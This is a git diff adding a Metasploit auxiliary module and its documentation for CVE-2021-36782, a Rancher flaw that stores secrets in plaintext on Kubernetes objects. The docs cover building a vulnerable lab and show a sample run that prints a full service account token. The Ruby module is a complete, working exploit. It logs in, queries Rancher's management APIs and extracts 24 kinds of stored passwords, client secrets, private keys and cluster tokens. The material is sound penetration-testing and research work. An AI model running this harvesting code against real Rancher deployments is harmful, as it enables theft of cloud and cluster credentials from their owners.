diff --git a/documentation/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.md b/documentation/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.md new file mode 100644 index 000000000000..680e97cb1e58 --- /dev/null +++ b/documentation/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.md @@ -0,0 +1,118 @@ +## Vulnerable Application + +An issue was discovered in Rancher versions up to and including +2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys +and Ranchers service account token (used to provision clusters), +were stored in plaintext directly on Kubernetes objects like Clusters, +for example cluster.management.cattle.io. Anyone with read access to +those objects in the Kubernetes API could retrieve the plaintext +version of those sensitive data. + +### Install + +* Clone the repository from: https://github.com/fe-ax/tf-cve-2021-36782 +* Create a Digital Ocean API Token + * Log into Digital Ocean and navigate to: API > Tokens + * Select "Generate New Token" + * Enter a token name and then select either Full Access or Custom Scopes + * If selecting Custom Scopes, use the values provided below +* Back in the `tf-cve-2021-36782`, copy the `example.tfvars` file to `yourown.tfvars` +* Edit `yourown.tfvars` and add the newly generated DO API token as `do_token` + * Optionally set the region for the clusters to one closer to you (e.g. `nyc3`) +* Run `terraform init` +* Run `terraform apply -var-file yourown.tfvars`, this can take about 20 minutes to run +* Take the hostname from the `rancher_admin_url` output from terraform and use that as the `RHOST` value for the module +* Take the password from the `rancher_password` file and use that with the username "admin" for the module + +#### Digital Ocean API Token Custom Scopes +It's possible that there are unnecessary privileges contained within the following settings, however it does permit the +test environment to start without a full access token. + +* Fully Scoped Access: + * 1click (2): create, read + * account (1): read + * actions (1): read + * billing (1): read + * kubernetes (5): create, read, update, delete, access_cluster + * load_balancer (4): create, read, update, delete + * monitoring (4): create, read, update, delete + * project (4): create, read, update, delete + * regions (1): read + * registry (4): create, read, update, delete + * sizes (1): read +* Create Access: + * app / droplet / firewall / ssh_key +* Read Access: + * app / block_storage / block_storage_action / block_storage_snapshot / cdn / certificate / database / domain / droplet / firewall / function / image / reserved_ip / snapshot / ssh_key / tag / uptime / vpc +* Update Access: + * ssh_key + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/gather/rancher_authenticated_api_cred_exposure` +1. Do: `set rhosts [ip]` +1. Do: `set username [username]` +1. Do: `set password [password]` +1. Do: `run` +1. If any API items of value are found, they will be printed + +## Options + +### Username + +Username for Rancher. user must be in one or more of the following groups: + +* `Cluster Owners` +* `Cluster Members` +* `Project Owners` +* `Project Members` +* `User Base` + +### Password + +Password for Rancher. + +## Scenarios + +### Docker Image + +``` +msf6 > use auxiliary/gather/rancher_authenticated_api_cred_exposure +msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set rhosts rancher.178.62.209.204.sslip.io +rhosts => rancher.178.62.209.204.sslip.io +msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set username readonlyuser +username => readonlyuser +msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set password readonlyuserreadonlyuser +password => readonlyuserreadonlyuser +msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set verbose true +verbose => true +msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run +[*] Running module against 178.62.209.204 + +[*] Attempting login +[-] Auxiliary aborted due to failure: unreachable: 178.62.209.204:443 - Could not connect to web service - no response +[*] Auxiliary module execution completed +msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run +[*] Running module against 178.62.209.204 + +[*] Attempting login +[+] login successful, querying APIs +[*] Querying /v1/management.cattle.io.catalogs +[*] Querying /v1/management.cattle.io.clusters +[+] Found leaked key Cluster.Status.ServiceAccountToken: eyJhbGciOiJSUzI1NiIsImtpZCI6IndsUHhqR1pxX1dSbkFwVG92SFZ1RWV5WDNjbktDTmhZRVUtOFhWY2gyQ0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4taG52eG4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjgyOWZiN2FiLTA0NzItNDA1ZC1iOWI4LTRmNjhjYmZhNDAyMyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.URiTKnslommru1NDTq-ClcSc9DBsQwr4_eqSCfksoIeGACwYKK3kPCxe0aVixOkWK9saFTcR46bEz7Of4BfMjUShBl89zSmaGHmlNvYd2sLssWMXbcQInC4Y7Ckti49VbBFoU5EWe-LBSiNrhZcNL6NTn00PgMlIT7OFiSugg8ar7k6Q1Suak0pW_ea1Z56bHGWD-WJM8GsYxohXX7HwYh8cyfOSd_jH6HTZ-p6qsZcWAHnREuzNwcdXqycDVxTA48XEZlfLOJDgvbyhNPssedf3os1rcWTQ5vh_NzUjyqpb8PzQOWm427XjMzBQxwSJVyu1a2TYlNXsLX9qCARjng +[*] Querying /v1/management.cattle.io.clustertemplates +[*] Querying /v1/management.cattle.io.notifiers +[*] Querying /v1/project.cattle.io.sourcecodeproviderconfig +[-] No response received from /v1/project.cattle.io.sourcecodeproviderconfig +[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/catalogs +[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clusters +[-] No response received from /k8s/clusters/local/apis/management.cattle.io/v3/clusters +[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates +[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/notifiers +[*] Querying /k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs +[*] Auxiliary module execution completed +``` + +The [Cluster.Status.ServiceAccountToken](https://jwt.io/#debugger-io?token=eyJhbGciOiJSUzI1NiIsImtpZCI6IndsUHhqR1pxX1dSbkFwVG92SFZ1RWV5WDNjbktDTmhZRVUtOFhWY2gyQ0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4taG52eG4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjgyOWZiN2FiLTA0NzItNDA1ZC1iOWI4LTRmNjhjYmZhNDAyMyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.URiTKnslommru1NDTq-ClcSc9DBsQwr4_eqSCfksoIeGACwYKK3kPCxe0aVixOkWK9saFTcR46bEz7Of4BfMjUShBl89zSmaGHmlNvYd2sLssWMXbcQInC4Y7Ckti49VbBFoU5EWe-LBSiNrhZcNL6NTn00PgMlIT7OFiSugg8ar7k6Q1Suak0pW_ea1Z56bHGWD-WJM8GsYxohXX7HwYh8cyfOSd_jH6HTZ-p6qsZcWAHnREuzNwcdXqycDVxTA48XEZlfLOJDgvbyhNPssedf3os1rcWTQ5vh_NzUjyqpb8PzQOWm427XjMzBQxwSJVyu1a2TYlNXsLX9qCARjng) is actually a JWT token as seen in the link. diff --git a/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb b/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb new file mode 100644 index 000000000000..79f11dfb4e79 --- /dev/null +++ b/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb @@ -0,0 +1,188 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Rancher Authenticated API Credential Exposure', + 'Description' => %q{ + An issue was discovered in Rancher versions up to and including + 2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys + and Ranchers service account token (used to provision clusters), + were stored in plaintext directly on Kubernetes objects like Clusters, + for example cluster.management.cattle.io. Anyone with read access to + those objects in the Kubernetes API could retrieve the plaintext + version of those sensitive data. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Florian Struck', # discovery + 'Marco Stuurman' # discovery + ], + 'References' => [ + [ 'URL', 'https://github.com/advisories/GHSA-g7j7-h4q8-8w2f'], + [ 'URL', 'https://github.com/fe-ax/tf-cve-2021-36782'], + [ 'URL', 'https://fe.ax/cve-2021-36782/'], + [ 'CVE', '2021-36782'] + ], + 'DisclosureDate' => '2022-08-18', + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_options( + [ + OptString.new('USERNAME', [ true, 'User to login with']), + OptString.new('PASSWORD', [ true, 'Password to login with']), + OptString.new('TARGETURI', [ true, 'The URI of Rancher instance', '/']) + ] + ) + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def rancher? + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'dashboard/'), + 'keep_cookies' => true + }) + return false unless res&.code == 200 + + html = res.get_html_document + title = html.at('title').text + title == 'dashboard' # this is a VERY weak check + end + + def login + # get our cookie first with CSRF token + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'v1', 'management.cattle.io.setting'), + 'keep_cookies' => true + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") unless res.code == 200 + + json_post_data = JSON.pretty_generate( + { + 'description' => 'UI session', + 'responseType' => 'cookie', + 'username' => username, + 'password' => password + } + ) + fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token not found in cookie") unless res.get_cookies.to_s =~ /CSRF=(\w*);/ + + csrf = ::Regexp.last_match(1) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'v3-public', 'localProviders', 'local'), + 'keep_cookies' => true, + 'method' => 'POST', + 'vars_get' => { + 'action' => 'login' + }, + 'headers' => { + 'accept' => 'application/json', + 'X-Api-Csrf' => csrf + }, + 'ctype' => 'application/json', + 'data' => json_post_data + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::NoAccess, "#{peer} - Login failed, check credentials") if res.code == 401 + end + + def check + return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service, or does not seem to be a rancher website") unless rancher? + + Exploit::CheckCode::Detected('Seems to be rancher, but unable to determine version') + end + + def run + vprint_status('Attempting login') + login + vprint_good('Login successful, querying APIs') + [ + '/v1/management.cattle.io.catalogs', + '/v1/management.cattle.io.clusters', + '/v1/management.cattle.io.clustertemplates', + '/v1/management.cattle.io.notifiers', + '/v1/project.cattle.io.sourcecodeproviderconfig', + '/k8s/clusters/local/apis/management.cattle.io/v3/catalogs', + '/k8s/clusters/local/apis/management.cattle.io/v3/clusters', + '/k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates', + '/k8s/clusters/local/apis/management.cattle.io/v3/notifiers', + '/k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs' + ].each do |api_endpoint| + vprint_status("Querying #{api_endpoint}") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, api_endpoint), + 'headers' => { + 'accept' => 'application/json' + } + ) + if res.nil? + vprint_error("No response received from #{api_endpoint}") + next + end + next unless res.code == 200 + + json_body = res.get_json_document + next unless json_body.key? 'data' + + json_body['data'].each do |data| + # list taken directly from CVE writeup, however this isn't how the API presents its so we fix it later + [ + 'Notifier.SMTPConfig.Password', + 'Notifier.WechatConfig.Secret', + 'Notifier.DingtalkConfig.Secret', + 'Catalog.Spec.Password', + 'SourceCodeProviderConfig.GithubPipelineConfig.ClientSecret', + 'SourceCodeProviderConfig.GitlabPipelineConfig.ClientSecret', + 'SourceCodeProviderConfig.BitbucketCloudPipelineConfig.ClientSecret', + 'SourceCodeProviderConfig.BitbucketServerPipelineConfig.PrivateKey', + 'Cluster.Spec.RancherKubernetesEngineConfig.BackupConfig.S3BackupConfig.SecretKey', + 'Cluster.Spec.RancherKubernetesEngineConfig.PrivateRegistries.Password', + 'Cluster.Spec.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password', + 'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password', + 'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password', + 'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password', + 'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret', + 'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword', + 'Cluster.Status.ServiceAccountToken', + 'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.PrivateRegistries.Password', + 'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password', + 'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password', + 'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password', + 'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password', + 'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret', + 'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword' + ].each do |leaky_key| + leaky_key_fixed = leaky_key.split('.')[1..] # remove first item, + leaky_key_fixed = leaky_key_fixed.map { |item| item[0].downcase + item[1..] } # downcase first letter in each word + print_good("Found leaked key #{leaky_key}: #{data.dig(*leaky_key_fixed)}") if data.dig(*leaky_key_fixed) + end + end + end + end +end